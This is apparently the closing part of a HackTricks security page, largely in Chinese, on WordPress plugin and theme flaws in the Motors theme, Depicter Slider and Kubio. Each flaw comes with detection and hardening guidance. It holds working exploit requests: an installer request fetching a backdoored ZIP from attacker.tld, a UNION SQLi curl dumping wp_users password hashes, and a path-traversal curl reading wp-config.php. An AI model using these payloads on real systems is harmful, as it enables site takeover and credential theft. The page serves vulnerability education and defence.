--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
Subscriber+ AJAX plugin installer → 强制恶意激活 (Motors Theme ≤ 5.6.81)
Patchstack’s analysis 展示了 Motors theme 如何随附一个经过认证的 AJAX helper 用于安装其 companion plugin:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- 仅调用了
check_ajax_referer();没有调用current_user_can('install_plugins')或current_user_can('activate_plugins')。 - 该 nonce 嵌入在 Motors 管理页面中,因此任何能访问
/wp-admin/的 Subscriber 都可以从 HTML/JS 中复制它。 - 处理器信任攻击者控制的
plugin参数(从$_GET读取)并将其传递给Plugin_Upgrader::install(),因此任意远程 ZIP 会被下载到wp-content/plugins/。 - 安装后,主题无条件地调用
mvl_theme_activate_plugin(),确保攻击者插件的 PHP 代码被执行。
利用流程
- 注册/攻破一个低权限账户(Subscriber 足够)并从 Motors 仪表板 UI 获取
mvl_theme_install_basenonce。 - 构建一个插件 ZIP,顶层目录匹配预期的 slug
motors-car-dealership-classified-listings/,并在*.php入口文件中嵌入后门或 webshell。 - 托管该 ZIP 并通过将 handler 指向你的 URL 来触发安装程序:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
因为处理程序读取 $_GET['plugin'],相同的 payload 也可以通过查询字符串发送。
检测清单
- 在主题/插件 中搜索
Plugin_Upgrader、Theme_Upgrader或自定义的install_plugin.phphelpers,这些 helpers 通过wp_ajax_*钩子连接但没有 capability 检查。 - 检查任何接受
plugin、package、source或url参数并将其传入 upgrader APIs 的处理程序,尤其当 slug 是硬编码但 ZIP 内容未被验证时。 - 审查为安装器操作暴露 nonce 的管理页面—如果 Subscribers 能加载该页面,则假定 nonce leaks。
加固
- 在 nonce 验证之后,用
current_user_can('install_plugins')和current_user_can('activate_plugins')限制安装器的 AJAX 回调;Motors 5.6.82 引入了此检查以修补该 bug。 - 拒绝不受信任的 URLs:将安装器限制为捆绑的 ZIP 或受信任的 repositories,或强制使用签名下载 manifests。
- 将 nonces 严格视为 CSRF tokens;它们不提供授权,绝不应替代 capability 检查。
未认证的 SQLi:depicter-* 操作中的 s(search)参数 (Depicter Slider ≤ 3.6.1)
多个 depicter-* 操作使用了 s(search)参数,并在没有参数化的情况下将其串联到 SQL 查询中。
- 参数:s(search)
- 缺陷:在 WHERE/LIKE 子句中直接进行字符串拼接;没有使用 prepared statements/进行 sanitization
- 影响:database exfiltration(users、hashes)、lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep for depicter-* action handlers and direct use of $_GET[‘s’] or $_POST[‘s’] in SQL
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
Hardening
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
- Add a strict allowlist for s and normalize to expected charset/length
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
在 template 参数中接受攻击者可控的路径且未做规范化/限制,会允许读取任意本地文件;在将可包含的 PHP/日志 文件纳入运行时的情况下,有时还会导致代码执行。
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – 读取 wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
检测清单
- 任何将请求路径拼接到 include()/require()/read 敏感调用点且未使用 realpath() 进行约束的处理程序
- 查找穿越模式 (../) 导致访问预期模板目录以外的位置
加固
- 强制使用白名单模板;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
- 规范化输入;拒绝穿越序列和绝对路径;仅对文件名使用 sanitize_file_name()(不要用于完整路径)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

